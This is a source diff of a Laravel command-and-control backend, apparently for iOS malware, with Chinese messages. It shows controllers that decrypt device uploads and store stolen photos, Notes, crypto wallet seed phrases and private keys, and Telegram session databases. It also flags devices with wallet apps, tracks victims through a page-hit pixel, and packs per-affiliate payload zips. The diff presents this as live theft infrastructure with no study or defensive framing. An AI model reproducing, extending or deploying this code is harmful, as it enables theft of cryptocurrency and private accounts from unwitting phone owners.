||||
'upload_count' => $uploadCount,
|
||||
'process_index' => $processIndex,
|
||||
'text_count' => $textCount,
|
||||
'barcode_count' => $barcodeCount,
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
if ($request->hasFile('file') && $device) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
|
||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'xxbb_photo_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'attachment_path' => $attachmentRel,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'c2');
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/pic — Notes `list`. */
|
||||
public function notes(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestNotes($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* Plugin reports: /uj /us /ub /ba /result.
|
||||
* Dispatch by payload shape onto the same ingest as lab long paths.
|
||||
@@ -123,15 +257,35 @@ class XxbbC2Controller extends Controller
|
||||
} else {
|
||||
$this->ingest->ingestMnemonic($device, $payload);
|
||||
}
|
||||
}
|
||||
if (array_key_exists('list', $payload)) {
|
||||
$this->ingest->ingestNotes($device, $payload);
|
||||
} else {
|
||||
// BitKeep / Global Wallet may send privateKey without wrapping `result`.
|
||||
$this->ingest->ingestMnemonic($device, $payload);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** tglib: POST /api/tg/t — Telegram user_id + atomic-state + db_sqlite. */
|
||||
public function telegram(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestTelegramAuth($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
private function xxbbArchive(): CorunaArchive
|
||||
{
|
||||
return new CorunaArchive(
|
||||
DecryptXxbbBody::crypto(),
|
||||
(string) config('coruna.seven_zip', ''),
|
||||
);
|
||||
}
|
||||
|
||||
private function referer(Request $request): ?string
|
||||
{
|
||||
$referer = trim((string) $request->headers->get('referer', ''));
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Http\Controllers;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Support\UserAgentParser;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -14,21 +15,26 @@ class PageHitController extends Controller
|
||||
|
||||
public function __invoke(Request $request): Response
|
||||
{
|
||||
$channelId = strtolower(trim((string) $request->query('c', $request->input('c', ''))));
|
||||
$channelId = trim((string) $request->query('c', $request->input('c', '')));
|
||||
$clientUid = trim((string) $request->query('u', $request->input('u', '')));
|
||||
$path = trim((string) $request->query('p', $request->input('p', '')));
|
||||
|
||||
if (! preg_match('/^[0-9a-f]{32}$/', $channelId)) {
|
||||
return $this->pixel();
|
||||
$newCode = Channel::normalizeNewChannelId($channelId);
|
||||
if ($newCode !== null) {
|
||||
$channelId = $newCode;
|
||||
} else {
|
||||
$channelId = strtolower($channelId);
|
||||
if (! preg_match('/^[0-9a-f]{32}$/', $channelId)) {
|
||||
return $this->pixel();
|
||||
}
|
||||
}
|
||||
if (! preg_match('/^[0-9a-fA-F-]{8,64}$/', $clientUid) && ! preg_match('/^tmp_[0-9a-f]+$/i', $clientUid)) {
|
||||
return $this->pixel();
|
||||
}
|
||||
if (strlen($path) > 255) {
|
||||
$path = substr($path, 0, 255);
|
||||
}
|
||||
|
||||
$debounceKey = 'page_hit:'.$channelId.':'.$clientUid;
|
||||
$ip = (string) $request->ip();
|
||||
$domain = PageVisit::normalizeDomain($request->getHost());
|
||||
$uid = PageVisit::visitorUid($domain ?? $request->getHost(), $ip);
|
||||
|
||||
$debounceKey = 'page_hit:'.$channelId.':'.$uid;
|
||||
if (! Cache::add($debounceKey, 1, now()->addSeconds(8))) {
|
||||
return $this->pixel();
|
||||
}
|
||||
@@ -39,14 +45,14 @@ class PageHitController extends Controller
|
||||
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'client_uid' => substr($clientUid, 0, 64),
|
||||
'client_uid' => $uid,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $parsed['os'],
|
||||
'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null,
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $request->ip(),
|
||||
'path' => $path !== '' ? $path : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'domain' => $domain,
|
||||
'referer' => $referer,
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
@@ -83,7 +83,6 @@ class DecryptXxbbBody
|
||||
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'campaign' => 'xxbb',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
@@ -98,6 +97,7 @@ class DecryptXxbbBody
|
||||
$request->attributes->set('coruna_payload', $payload);
|
||||
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||
$request->attributes->set('coruna_device_key', $deviceKey);
|
||||
$request->attributes->set('coruna_new_builder', true);
|
||||
$request->attributes->set('xxbb_ts', $timestamp);
|
||||
|
||||
return $next($request);
|
||||
|
||||
+45
-25
@@ -14,10 +14,10 @@ class Channel extends Model
|
||||
|
||||
public const BUILDER_NEW = 'new';
|
||||
|
||||
public const CHANNEL_NAME_LENGTH = 8;
|
||||
public const NEW_CHANNEL_ID_LENGTH = 8;
|
||||
|
||||
/**
|
||||
* Public-root path prefixes that must not be used as channel_name.
|
||||
* Public-root path prefixes that must not be used as 8-char channel IDs.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
@@ -25,14 +25,14 @@ class Channel extends Model
|
||||
'admin', 'user', 'api', 'web', 'sync', 'details', 'weifile', 'hooks',
|
||||
'link', 'statistic', 'vhx', 'event', 'log', 'storage', 'build', 'hot',
|
||||
'vendor', 'css', 'js', 'up', 'index', 'assets', 'static', 'source', 'channel',
|
||||
'out', 't', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
|
||||
'out', 't', 'nb', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
|
||||
'robots', 'sitemap', 'public', 'app', 'bootstrap', 'config',
|
||||
'database', 'resources', 'routes', 'tests', 'artisan', 'livewire',
|
||||
'sanctum', 'telescope', 'horizon', 'pulse',
|
||||
];
|
||||
|
||||
protected $fillable = [
|
||||
'channel_id', 'builder_type', 'channel_name', 'user_id', 'domains', 'status', 'remark',
|
||||
'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
@@ -135,6 +135,10 @@ class Channel extends Model
|
||||
*/
|
||||
public function supportLinks(): array
|
||||
{
|
||||
if ($this->isNewBuilder()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$links = [];
|
||||
$path = $this->landingPath();
|
||||
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
||||
@@ -157,32 +161,48 @@ class Channel extends Model
|
||||
return bin2hex(random_bytes(16));
|
||||
}
|
||||
|
||||
public static function normalizeNewChannelId(string $channelId): ?string
|
||||
{
|
||||
$channelId = strtoupper(trim($channelId));
|
||||
if (! preg_match('/^[A-Z0-9]{'.self::NEW_CHANNEL_ID_LENGTH.'}$/', $channelId)) {
|
||||
return null;
|
||||
}
|
||||
if (self::isReservedChannelName($channelId)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $channelId;
|
||||
}
|
||||
|
||||
public static function randomNewChannelId(): string
|
||||
{
|
||||
for ($i = 0; $i < 32; $i++) {
|
||||
$code = strtoupper(substr(bin2hex(random_bytes(5)), 0, self::NEW_CHANNEL_ID_LENGTH));
|
||||
if (self::normalizeNewChannelId($code) === null) {
|
||||
continue;
|
||||
}
|
||||
if (self::query()->whereRaw('upper(channel_id) = ?', [$code])->exists()) {
|
||||
continue;
|
||||
}
|
||||
|
||||
return $code;
|
||||
}
|
||||
|
||||
throw new RuntimeException('无法生成唯一渠道 ID');
|
||||
}
|
||||
|
||||
public function sourceZipRelativePath(): string
|
||||
{
|
||||
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
|
||||
|
||||
return $dir.'/'.$this->channel_id.'.zip';
|
||||
}
|
||||
|
||||
public static function isReservedChannelName(string $name): bool
|
||||
{
|
||||
return in_array(strtolower($name), self::RESERVED_CHANNEL_NAMES, true);
|
||||
}
|
||||
|
||||
public static function randomChannelName(): string
|
||||
{
|
||||
for ($i = 0; $i < 32; $i++) {
|
||||
$name = substr(bin2hex(random_bytes(5)), 0, self::CHANNEL_NAME_LENGTH);
|
||||
if (self::isReservedChannelName($name)) {
|
||||
continue;
|
||||
}
|
||||
if (self::query()->where('channel_name', $name)->exists()) {
|
||||
continue;
|
||||
}
|
||||
$public = public_path('source/'.$name);
|
||||
if (is_dir($public) || is_file($public)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
return $name;
|
||||
}
|
||||
|
||||
throw new RuntimeException('无法生成唯一 channel_name');
|
||||
}
|
||||
|
||||
public static function maxPerAgent(): int
|
||||
{
|
||||
$n = (int) config('coruna.channels.max_per_agent', 5);
|
||||
|
||||
+32
-2
@@ -7,9 +7,19 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
|
||||
class Device extends Model
|
||||
{
|
||||
public const WALLET_UNKNOWN = 0;
|
||||
|
||||
public const WALLET_NONE = 1;
|
||||
|
||||
public const WALLET_YES = 2;
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage',
|
||||
'device_id', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
'has_wallet' => self::WALLET_UNKNOWN,
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -17,9 +27,29 @@ class Device extends Model
|
||||
return [
|
||||
'telegram_notified' => 'boolean',
|
||||
'album_storage' => 'boolean',
|
||||
'has_wallet' => 'integer',
|
||||
'wallet_names' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function hasWalletApps(): bool
|
||||
{
|
||||
return (int) $this->has_wallet === self::WALLET_YES;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function walletNameList(): array
|
||||
{
|
||||
$names = $this->wallet_names;
|
||||
if (! is_array($names)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
|
||||
}
|
||||
|
||||
public function albumStorageEnabled(): bool
|
||||
{
|
||||
return (bool) ($this->album_storage ?? true);
|
||||
|
||||
@@ -11,13 +11,14 @@ class PageVisit extends Model
|
||||
protected $fillable = [
|
||||
'channel_id',
|
||||
'client_uid',
|
||||
'session_id',
|
||||
'user_agent',
|
||||
'os',
|
||||
'os_version',
|
||||
'browser',
|
||||
'browser_version',
|
||||
'ip',
|
||||
'path',
|
||||
'domain',
|
||||
'referer',
|
||||
'created_at',
|
||||
];
|
||||
@@ -28,4 +29,33 @@ class PageVisit extends Model
|
||||
'created_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public static function normalizeDomain(?string $value): ?string
|
||||
{
|
||||
$value = trim((string) $value);
|
||||
if ($value === '') {
|
||||
return null;
|
||||
}
|
||||
$value = preg_replace('#^https?://#i', '', $value) ?? $value;
|
||||
$value = explode('/', $value, 2)[0];
|
||||
$value = strtolower(rtrim($value));
|
||||
if ($value === '' || ! str_contains($value, '.')) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return substr($value, 0, 255);
|
||||
}
|
||||
|
||||
public const VISITOR_UID_LENGTH = 16;
|
||||
|
||||
/**
|
||||
* Stable visitor id: same domain+ip always yields the same 16-hex value.
|
||||
*/
|
||||
public static function visitorUid(?string $domain, ?string $ip): string
|
||||
{
|
||||
$domainKey = self::normalizeDomain($domain) ?? strtolower(trim((string) $domain));
|
||||
$ipKey = trim((string) $ip);
|
||||
|
||||
return substr(hash('sha256', $domainKey."\0".$ipKey), 0, self::VISITOR_UID_LENGTH);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,8 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Photo extends Model
|
||||
{
|
||||
public const X_HIT_ALERT = 12;
|
||||
|
||||
protected $fillable = [
|
||||
'device_id',
|
||||
'sha256',
|
||||
|
||||
@@ -25,7 +25,6 @@ class ChannelProjectService
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
@@ -42,26 +41,20 @@ class ChannelProjectService
|
||||
?string $deploymentSeed = null,
|
||||
?string $reportingSeed = null,
|
||||
string $builderType = self::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): array {
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
return $this->generateNew($channelId);
|
||||
}
|
||||
|
||||
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
return $this->generateNew(
|
||||
$channelId,
|
||||
$channelName,
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
}
|
||||
|
||||
return $this->generateOld(
|
||||
$channelId,
|
||||
$this->normalizeChannelId($channelId),
|
||||
$supportTemplate,
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
@@ -71,12 +64,19 @@ class ChannelProjectService
|
||||
public function deleteWebTree(
|
||||
string $channelId,
|
||||
string $builderType = self::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): void {
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
// Shared /weifile + /details must not be wiped when a DB channel row is removed.
|
||||
$code = Channel::normalizeNewChannelId($channelId);
|
||||
if ($code === null) {
|
||||
return;
|
||||
}
|
||||
$zip = $this->newChannelZipPath($code);
|
||||
if (is_file($zip) && ! unlink($zip)) {
|
||||
throw new RuntimeException('删除渠道安装包失败: '.$zip);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -102,7 +102,6 @@ class ChannelProjectService
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
@@ -146,7 +145,6 @@ class ChannelProjectService
|
||||
return [
|
||||
'channel_id' => (string) ($result['channel_id'] ?? $channelId),
|
||||
'builder_type' => self::BUILDER_OLD,
|
||||
'channel_name' => null,
|
||||
'seeds' => [
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
|
||||
@@ -165,34 +163,17 @@ class ChannelProjectService
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
* sync_rebuilt: bool,
|
||||
* support_path: string,
|
||||
* weifile_path: ?string,
|
||||
* daily_path: string,
|
||||
* support_template?: string,
|
||||
* }
|
||||
* Rebuild shared /details and staged weifile from `c`.
|
||||
* Only used by `php artisan xxbb:build`, not when creating a channel.
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function generateNew(
|
||||
string $channelId,
|
||||
?string $channelName,
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
): array {
|
||||
unset($channelName); // shared /weifile layout; no per-channel folder
|
||||
if ($channelId === '202800cfb1ad3de68e11239dcc26c30b') {
|
||||
throw new RuntimeException('channel_id 不能与 7z 密码槽相同');
|
||||
}
|
||||
$scheme = strtolower((string) config('coruna.channel_builder_new.c2_scheme', 'http'));
|
||||
if (! in_array($scheme, ['http', 'https'], true)) {
|
||||
throw new RuntimeException('CORUNA_XXBB_C2_SCHEME 必须是 http 或 https');
|
||||
public function buildSharedArtifacts(?string $channelC = null, bool $randomC = false): array
|
||||
{
|
||||
if ($randomC && $channelC !== null && $channelC !== '') {
|
||||
throw new RuntimeException('不能同时指定 channel-c 和 random-c');
|
||||
}
|
||||
|
||||
$cmd = [
|
||||
$this->pythonBinary(self::BUILDER_NEW),
|
||||
$this->builderScript('build.py', self::BUILDER_NEW),
|
||||
@@ -200,44 +181,142 @@ class ChannelProjectService
|
||||
$this->artifactRoot(),
|
||||
'--state-root',
|
||||
$this->stateRoot(self::BUILDER_NEW),
|
||||
'--channel-c',
|
||||
$channelId,
|
||||
'--scheme',
|
||||
$scheme,
|
||||
'--apply',
|
||||
'--force',
|
||||
];
|
||||
if ($deploymentSeed !== null && $reportingSeed !== null) {
|
||||
$cmd[] = '--deployment-seed';
|
||||
$cmd[] = $deploymentSeed;
|
||||
$cmd[] = '--reporting-seed';
|
||||
$cmd[] = $reportingSeed;
|
||||
if ($randomC) {
|
||||
$cmd[] = '--random-c';
|
||||
} else {
|
||||
$c = $this->normalizeSharedChannelC($channelC);
|
||||
if ($c !== null) {
|
||||
$cmd[] = '--channel-c';
|
||||
$cmd[] = $c;
|
||||
}
|
||||
}
|
||||
|
||||
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
$weifilePath = (string) ($result['weifile_path'] ?? '/weifile/weifile.html');
|
||||
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
}
|
||||
|
||||
private function generateNew(string $channelId): array
|
||||
{
|
||||
$channelId = Channel::normalizeNewChannelId($channelId);
|
||||
if ($channelId === null) {
|
||||
throw new RuntimeException('新版渠道 ID 必须是 8 位字母或数字(例如 FAFA9988)');
|
||||
}
|
||||
|
||||
$weifileSrc = $this->stagedWeifileDir();
|
||||
if (! is_file($weifileSrc.DIRECTORY_SEPARATOR.'index.js')) {
|
||||
throw new RuntimeException('请先运行构建脚本: php artisan xxbb:build');
|
||||
}
|
||||
|
||||
$zipPath = $this->newChannelZipPath($channelId);
|
||||
$this->ensureDirectory(dirname($zipPath), '新版渠道产物目录');
|
||||
|
||||
$cmd = [
|
||||
$this->pythonBinary(self::BUILDER_NEW),
|
||||
$this->builderScript('pack_channel.py', self::BUILDER_NEW),
|
||||
'--channel-code',
|
||||
$channelId,
|
||||
'--state-root',
|
||||
$this->stateRoot(self::BUILDER_NEW),
|
||||
'--weifile-src',
|
||||
$weifileSrc,
|
||||
'--zip-out',
|
||||
$zipPath,
|
||||
];
|
||||
|
||||
$result = $this->runBuilder($cmd, '打包渠道代码失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
$seeds = $this->loadNewLabSeeds();
|
||||
$relativeZip = $this->newChannelZipRelative($channelId);
|
||||
|
||||
return [
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => self::BUILDER_NEW,
|
||||
'channel_name' => null,
|
||||
'seeds' => [
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
|
||||
'channel_c' => (string) data_get($result, 'seeds.channel_c', $channelId),
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', $seeds['deployment_seed']),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', $seeds['reporting_seed']),
|
||||
'channel_c' => (string) data_get($result, 'seeds.channel_c', $seeds['channel_c']),
|
||||
],
|
||||
'domains' => [
|
||||
'deployment' => array_values((array) data_get($result, 'domains.deployment', [])),
|
||||
'reporting' => array_values((array) data_get($result, 'domains.reporting', [])),
|
||||
'deployment' => array_values((array) data_get($result, 'domains.deployment', $seeds['domains']['deployment'])),
|
||||
'reporting' => array_values((array) data_get($result, 'domains.reporting', $seeds['domains']['reporting'])),
|
||||
],
|
||||
'seeds_initialized' => (bool) ($result['seeds_initialized'] ?? false),
|
||||
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
|
||||
'support_path' => (string) ($result['support_path'] ?? $weifilePath),
|
||||
'weifile_path' => $weifilePath,
|
||||
'daily_path' => (string) ($result['details_path'] ?? '/details/'),
|
||||
'seeds_initialized' => false,
|
||||
'sync_rebuilt' => false,
|
||||
'support_path' => '',
|
||||
'weifile_path' => null,
|
||||
'daily_path' => '/details/',
|
||||
'zip_path' => '/'.$relativeZip,
|
||||
];
|
||||
}
|
||||
|
||||
public function stagedWeifileDir(): string
|
||||
{
|
||||
return $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'out'.DIRECTORY_SEPARATOR.'weifile';
|
||||
}
|
||||
|
||||
public function newChannelZipPath(string $channelId): string
|
||||
{
|
||||
return $this->artifactRoot().DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $this->newChannelZipRelative($channelId));
|
||||
}
|
||||
|
||||
public function newChannelZipRelative(string $channelId): string
|
||||
{
|
||||
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
|
||||
$code = Channel::normalizeNewChannelId($channelId) ?? $channelId;
|
||||
|
||||
return $dir.'/'.$code.'.zip';
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{deployment_seed: string, reporting_seed: string, channel_c: string, domains: array{deployment: list<string>, reporting: list<string>}}
|
||||
*/
|
||||
private function loadNewLabSeeds(): array
|
||||
{
|
||||
$empty = [
|
||||
'deployment_seed' => '',
|
||||
'reporting_seed' => '',
|
||||
'channel_c' => '',
|
||||
'domains' => ['deployment' => [], 'reporting' => []],
|
||||
];
|
||||
$path = $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'lab_seeds.json';
|
||||
if (! is_file($path)) {
|
||||
return $empty;
|
||||
}
|
||||
$decoded = json_decode((string) file_get_contents($path), true);
|
||||
if (! is_array($decoded)) {
|
||||
return $empty;
|
||||
}
|
||||
|
||||
return [
|
||||
'deployment_seed' => (string) ($decoded['deployment_seed'] ?? ''),
|
||||
'reporting_seed' => (string) ($decoded['reporting_seed'] ?? ''),
|
||||
'channel_c' => (string) ($decoded['channel_c'] ?? ''),
|
||||
'domains' => [
|
||||
'deployment' => array_values((array) data_get($decoded, 'domains.deployment', [])),
|
||||
'reporting' => array_values((array) data_get($decoded, 'domains.reporting', [])),
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
private function normalizeSharedChannelC(?string $channelC): ?string
|
||||
{
|
||||
$c = strtolower(trim((string) ($channelC !== null && $channelC !== ''
|
||||
? $channelC
|
||||
: config('coruna.xxbb.channel_c', ''))));
|
||||
if ($c === '') {
|
||||
return null;
|
||||
}
|
||||
if (! preg_match('/^[0-9a-f]{32}$/', $c)) {
|
||||
throw new RuntimeException('XXBB_CHANNEL_C 必须是 32 位 hex');
|
||||
}
|
||||
if ($c === '202800cfb1ad3de68e11239dcc26c30b') {
|
||||
throw new RuntimeException('XXBB_CHANNEL_C 不能与 7z 密码槽相同');
|
||||
}
|
||||
|
||||
return $c;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $cmd
|
||||
* @return array<string, mixed>
|
||||
@@ -386,19 +465,6 @@ class ChannelProjectService
|
||||
return $channelId;
|
||||
}
|
||||
|
||||
private function normalizeChannelName(string $channelName): string
|
||||
{
|
||||
$channelName = strtolower(trim($channelName));
|
||||
if (! preg_match('/^[a-z0-9]{8,32}$/', $channelName)) {
|
||||
throw new RuntimeException('Invalid channel name');
|
||||
}
|
||||
if (Channel::isReservedChannelName($channelName)) {
|
||||
throw new RuntimeException('channel_name 与保留路径冲突');
|
||||
}
|
||||
|
||||
return $channelName;
|
||||
}
|
||||
|
||||
private function normalizeSupportTemplate(string $supportTemplate): string
|
||||
{
|
||||
$supportTemplate = strtolower(trim($supportTemplate));
|
||||
|
||||
+187
-16
@@ -2,10 +2,12 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
@@ -138,22 +140,18 @@ class IngestService
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
if ($existing) {
|
||||
$touch = ['updated_at' => now()];
|
||||
$channelId = $this->extractChannelId($request, $payload);
|
||||
if ($this->channelIdEmpty($existing->channel_id) && $channelId !== null && $channelId !== '') {
|
||||
$touch['channel_id'] = $channelId;
|
||||
}
|
||||
$existing->forceFill($touch)->saveQuietly();
|
||||
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: true);
|
||||
|
||||
return $existing->refresh();
|
||||
}
|
||||
|
||||
return $this->createDevice($request, $payload, $deviceKey, withChannel: true);
|
||||
return $this->createDevice($request, $payload, $deviceKey, allowOldC: true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Other C2 routes — create device if missing so business rows can attach,
|
||||
* but never write channel_id (put will fill it later). Existing rows are left untouched.
|
||||
* Other C2 routes — create device if missing so business rows can attach.
|
||||
* Old builder: never write channel_id here (put will fill it later).
|
||||
* New builder: IP-match iptj on create and when channel_id is still empty.
|
||||
*/
|
||||
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
@@ -164,10 +162,16 @@ class IngestService
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
if ($existing) {
|
||||
if ($this->isNewBuilderRequest($request)) {
|
||||
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: false);
|
||||
|
||||
return $existing->refresh();
|
||||
}
|
||||
|
||||
return $existing;
|
||||
}
|
||||
|
||||
return $this->createDevice($request, $payload, $deviceKey, withChannel: false);
|
||||
return $this->createDevice($request, $payload, $deviceKey, allowOldC: false);
|
||||
}
|
||||
|
||||
private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string
|
||||
@@ -208,15 +212,118 @@ class IngestService
|
||||
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
|
||||
}
|
||||
|
||||
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
|
||||
private function fillMissingAttribution(
|
||||
Device $device,
|
||||
Request $request,
|
||||
?array $payload,
|
||||
bool $allowOldC,
|
||||
): void {
|
||||
$needChannel = $this->channelIdEmpty($device->channel_id);
|
||||
$needDomain = trim((string) ($device->source_domain ?? '')) === '';
|
||||
if (! $needChannel && ! $needDomain) {
|
||||
$device->forceFill(['updated_at' => now()])->saveQuietly();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
||||
$touch = ['updated_at' => now()];
|
||||
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
|
||||
$touch['channel_id'] = $attr['channel_id'];
|
||||
}
|
||||
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
|
||||
$touch['source_domain'] = $attr['source_domain'];
|
||||
}
|
||||
$device->forceFill($touch)->saveQuietly();
|
||||
}
|
||||
|
||||
/**
|
||||
* Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id.
|
||||
* New xxbb short paths (`/event`, `/u`, …): never write native `c`;
|
||||
* attribute via recent PageVisit IP. Device is still created if no visit matches.
|
||||
*
|
||||
